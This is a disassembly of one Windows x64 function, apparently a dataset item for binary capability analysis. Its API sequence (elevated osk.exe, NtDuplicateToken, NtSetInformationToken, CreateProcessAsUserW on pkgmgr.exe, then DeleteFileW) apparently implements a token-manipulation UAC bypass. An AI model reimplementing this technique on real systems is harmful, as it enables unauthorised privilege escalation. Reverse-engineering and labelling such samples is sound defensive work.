Function at 0x140016523
Capabilities:
Create process on windows
Delete file
Terminate process

Disassembly:
jmp 0x140030520
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa58
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa78]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x9e8], rax
lea rcx, [0x14007d5db]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov byte [rbp + 0x134], 0
mov byte [rbp + 0x135], 0
mov byte [rbp + 0x136], 0
mov byte [rbp + 0x137], 0
mov byte [rbp + 0x138], 0
mov byte [rbp + 0x139], InitCommonControls
mov edx, 0x70
lea rcx, [rbp + 0xb0]
call fcn.140016825
mov edx, dword [rbp + 0xa18]
mov rcx, qword [rbp + 0xa10]
call fcn.14001620d
test eax, eax
jne 0x1400305ed
jmp 0x140030968
mov rax, qword [0x140073c58]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.1400161f9
lea rdx, str.osk.exe
lea rcx, [rbp + 0x210]
call fcn.140016af0
mov dword [rbp + 0xb0], 0x70
mov dword [rbp + 0xb4], 0x40
lea rax, [rbp + 0x210]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xe0], 0
lea rcx, [rbp + 0xb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14003065e
jmp 0x140030968
lea r8, [rbp + 0x88]
mov edx, 0xa
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140030685
jmp 0x140030968
mov dword [rbp + 0x188], FCIFlushCabinet
mov dword [rbp + 0x18c], 2
mov byte [rbp + 0x190], 0
mov byte [rbp + 0x191], 0
mov dword [rbp + 0x1b8], 0x30
mov qword [rbp + 0x1c0], 0
mov dword [rbp + 0x1d0], 0
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], 0
lea rax, [rbp + 0x188]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8, [rbp + 0x1b8]
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtDuplicateToken]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140030730
jmp 0x140030968
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x88], 0
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x118], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x2000
mov dl, 1
lea rcx, [rbp + 0x134]
call qword [sym.imp.ntdll.dll_RtlAllocateAndInitializeSid]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400307ce
jmp 0x140030968
mov dword [rbp + 0x160], 0x20
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x158], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_RtlLengthSid]
mov eax, eax
add rax, 0x10
mov r9d, eax
lea r8, [rbp + 0x158]
mov edx, 0x19
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtSetInformationToken]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x14003081a
jmp 0x140030968
mov edx, 0x18
lea rcx, [rbp + 0x6c8]
call fcn.140016825
mov edx, 0x68
lea rcx, [rbp + 0x640]
call fcn.140016825
mov dword [rbp + 0x640], 0x68
lea rcx, [rbp + 0x640]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [0x140073c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.1400161f9
lea rdx, str.pkgmgr.exe
lea rcx, [rbp + 0x210]
call fcn.140016af0
mov rax, qword [0x140073c58]
cmp dword [rax + 0x14], 0
jne 0x1400308a2
mov rax, qword [0x140073c58]
add rax, 0xa9a
mov qword [rbp + 0x28], rax
jmp 0x1400308b3
mov rax, qword [0x140073c58]
add rax, 0x890
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x640]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x4000020
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
lea rdx, [rbp + 0x210]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x14003095e
mov edx, 0x2710
mov rcx, qword [rbp + 0x6c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14003093d
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x6c8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x6d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x6c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x1400305d2
cmp qword [rbp + 0x88], 0
je 0x14003097f
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x118], 0
je 0x1400309a5
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x68], 0
je 0x1400309b6
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x48], 0
je 0x1400309c7
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_RtlFreeSid]
mov rax, qword [0x140073c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.1400161f9
lea rdx, str.pkgmgr.exe
lea rcx, [rbp + 0x210]
call fcn.140016af0
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, reloc.Cabinet.dll_FCIAddFile
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x9e8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x9f8]
pop rdi
pop rbp
ret